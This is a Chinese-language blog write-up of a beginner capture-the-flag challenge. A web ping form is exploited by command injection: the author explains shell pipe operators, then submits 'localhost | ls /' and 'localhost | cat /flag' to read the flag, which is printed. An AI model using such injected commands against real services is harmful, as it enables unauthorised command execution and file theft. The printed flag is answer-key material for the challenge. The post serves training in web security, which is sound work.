

# BUU 命令执行漏洞-[ACTF2020 新生赛]Exec

原创

lvyyyyy 于 2021-10-17 19:12:26 发布 2249 收藏

分类专栏: BUUCTF writeup 文章标签: linux web安全

版权声明: 本文为博主原创文章, 遵循 CC 4.0 BY-SA 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/lvyyyyy1/article/details/120814337>

版权



[BUUCTF writeup 专栏收录该内容](#)

10 篇文章 0 订阅

订阅专栏

## 一、题目

题目 解题快手榜

### [ACTF2020 新生赛]Exec

1

感谢 Y1ng 师傅供题。

靶机信息

剩余时间: 10792s

<http://1ac37849-5134-469e-98cc-ccf1e29908f6.node4.buuoj.cn:81>

Flag

CSDN @lvyyyyy



## PING

请输入需要ping的地址

PING

点开页面, 经典的命令执行表单

先输入几个玩玩

# PING

```
localhost
```

```
PING
```

```
PING localhost (127.0.0.1): 56 data bytes  
CSDN@1vyyyyyy
```

# PING

```
www.baidu.com
```

```
PING
```

```
PING www.baidu.com (14.215.177.38): 56 data bytes  
CSDN@1vyyyyyy
```

都是正常回显，没啥怪东西

## 二、解题

1. 这里会用到管道符有关的知识

- ① `|`: 即按位或，会直接执行管道符之后的语句
- ② `||`: 即逻辑或，若管道符前语句为true则只执行前一句，否则只执行后一句
- ③ `&`: 即按位与，会直接执行前后两个语句
- ④ `&&`: 即逻辑与，若管道符前语句为true则执行两个语句，反之都不执行

2. 在Linux命令中，`ls`用于列出目录条目

那么我们输入

```
localhost | ls /
```

会显示根目录下所有条目

# PING

```
localhost | ls /
```

```
PING
```

```
bin
dev
etc
flag
home
lib
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
```

CSDN @1vyyyyyy

看到flag在根目录下，直接cat出来

payload:

```
localhost | cat /flag
```

# PING

```
localhost | cat /flag
```

```
PING
```

```
flag{4d23276d-3dae-45a5-ba2e-7139054713ba}
```

CSDN @1vyyyyyy

## 三、总结

涉及Linux命令的题可以结合几个管道符进行操作，有时需要猜测后台的语句找合适的方法来构造输入



[创作打卡挑战赛](#) >

[赢取流量/现金/CSDN周边激励大奖](#)